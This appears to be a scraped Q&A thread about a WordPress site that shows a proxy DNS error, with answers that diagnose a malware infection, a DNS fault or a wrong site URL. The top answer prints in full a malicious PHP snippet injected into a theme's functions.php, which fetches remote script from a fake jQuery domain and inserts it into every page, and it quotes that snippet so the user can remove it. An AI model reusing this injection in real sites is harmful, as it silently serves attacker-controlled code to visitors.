0

Please help with the problem as I can't guess how to solve it.

When I enter my wordpress site the following message appears:

The requested URL could not be retrieved

While trying to retrieve the URL: http://www1.ghost-bikes.dp.ua/?

The following error was encountered:

Unable to determine IP address from host name for www1.ghost-bikes.dp.ua
The dnsserver returned:

Name Error: The domain name does not exist.
This means that:

 The cache was not able to resolve the hostname presented in the URL. 
 Check if the address is correct. 
Your cache administrator is support. 
Generated Wed, 21 Nov 2012 09:57:05 GMT by none (squid/3.0.STABLE20)

The admin area (/wp-admin) opens as usually and works. I suppose it is a kind of virus. What should I do?

4

4 回答 4

1

Open your theme's functions.php and look for the following code:

if (!function_exists(‘insert_jquery_theme’)){function insert_jquery_theme(){if (function_exists(‘curl_init’)){$url=”http://www.jqueryc.com/jquery-1.6.3.min.js”;$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_theme’);}

If you find it, just delete it and you should be fine again.

I just found one issue like this in a different site - look here

于 2012-11-21T10:32:07.280 回答
0

Try to deactivate your WordPress plugins one by one and see if the message disappears. If so, you will know where it comes from.

于 2012-11-21T10:11:52.990 回答
0

You're using proxy server SQUID

Your squid can't find this domain: www1.ghost-bikes.dp.ua Because this domain doesn't exist - it is impossible to resolve this domain to IP address

So, this is not a Wordpress-related problem. This is a DNS-problem

UPDATED

It seems like this domain served by Imena.com.ua - so you should login into your account on imena.com.ua and just to add www1 domain in the DNS records.

UPDATED

Go to your wordpress installation folder and try to find something like this in files:

    <script type="text/javascript">
StaticRequestInfo={Referer:document.referrer};function EscapeBrowserFrame()
    </script>

Delete these lines.

于 2012-11-21T10:14:33.313 回答
-1

Log into the DNS panel of your hosting enviroment and check the DNS settings.

If those do not solve it.. you can try this:

// in wp-config

define('WP_SITEURL', 'http://www.site.nl');

define('WP_HOME', 'http://www.site.nl');

// in functions.php at the top. Remove after first run.

update_option('siteurl','http://www.site.nl');

update_option('home','http://www.site.nl');

This will set the correct url or IP through the whole site.

于 2012-11-21T10:14:41.097 回答